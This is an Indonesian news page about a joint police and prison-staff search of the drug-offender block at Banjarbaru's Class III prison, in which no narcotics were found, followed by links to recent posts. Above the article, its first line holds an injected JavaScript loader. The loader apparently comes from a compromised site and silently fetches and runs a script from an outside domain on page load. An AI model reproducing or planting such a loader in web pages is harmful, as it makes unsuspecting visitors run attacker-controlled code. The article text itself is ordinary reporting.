(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Blok Narkoba Lapas Banjarbaru Digeledah, Tapi Nihil Barang Terlarang


BANJARBARU, Aparat melakukan razia barang terlarang di Lembaga Pemasyarakatan (Lapas) Kelas III Banjarbaru, Kamis (14/2) pagi. Meski hasilnya tidak ditemukan Narkoba ataupun barang terlarang lainnya.

Kapolsek Banjarbaru Timur AKP Debi Triyani dan anggota kepolisian menghadiri seluruh rangkaian razia ini. Pada razia kali ini, petugas memusatkan di Blok I yang diisi sepenuhnya tahanan Narkoba. Tercatat ada 234 orang tahanan di dalam blok narkoba ini.

Sebelum melakukan razia, Kepala Lapas Kelas III Banjarbaru Abdul Azis melakukan tes urine terhadap seluruh bawahannya. Hal ini dilakukan sebagai antisipasi terhadap penyalahgunaan Narkoba di kalangan pegawai. Selain itu juga dilakukan sosialisasi tentang langkah-langkah progresif dan serius upaya pemberantasan narkoba di rumah tahanan.

Menurut Kepala Lapas Kelas III Banjarbaru Abdul Azis, ada sanksi yang diberikan kepada warga binaan bila kedapatan membawa barang terlang. Efek jera ini juga dirasa ampuh agar tahanan tidak mengulangi perbuatannya.

“Kalau ditemukan barang-barang terlarang, maka warga binaan itu akan langsung dimasukkan dalam ruang isolasi dan tidak boleh dijenguk keluarga selama enam hari,” kata Abdul Azis.

Selain itu, bahkan foto warga binaan itu akan dipampang di blok kamar binaan sebagai bukti bahwa dia telah bersalah dan untuk membuat syok terapi agar mereka malu dengan warga binaan lainnya.



Dengan dilakukan giat itu, diharapkan tidak ada barang-barang terlarang yang sampai masuk ke dalam Lapas Kelas III Banjarbaru.

Saat penggeledahan di kamar hunian memang tidak ditemukan barang-barang yang dilarang. Namun ada ditemukan kabel listrik sisa dari instalasi pemasangan listrik yang disembunyikan oleh warga binaan.

Kapolsek Banjarbaru Timur AKP Debi Triyani mengatakan, penggeledahan gabungan di Lapas Banjarbaru untuk tahun 2019 perdana dilakukan.

“Pemeriksaan ini akan rutin dan kita jadwalkan secara berkala dengan menyesuaikan waktunya,” katanya.

Hasil sementara pemeriksaan yang dilakukan, disebutkan Debi bahwa tidak ditemukan barang bukti narkoba di blok hunian kasus narkoba.

“Tujuan pemeriksaan dan penggeledahan kamar hunian itu untuk mencegah adanya penggunaan dan pengedaran narkoba di dalam lapas. Kita juga sekaligus melakukan penyuluhan anti narkoba,” tambahnya. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

4 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

This website uses cookies.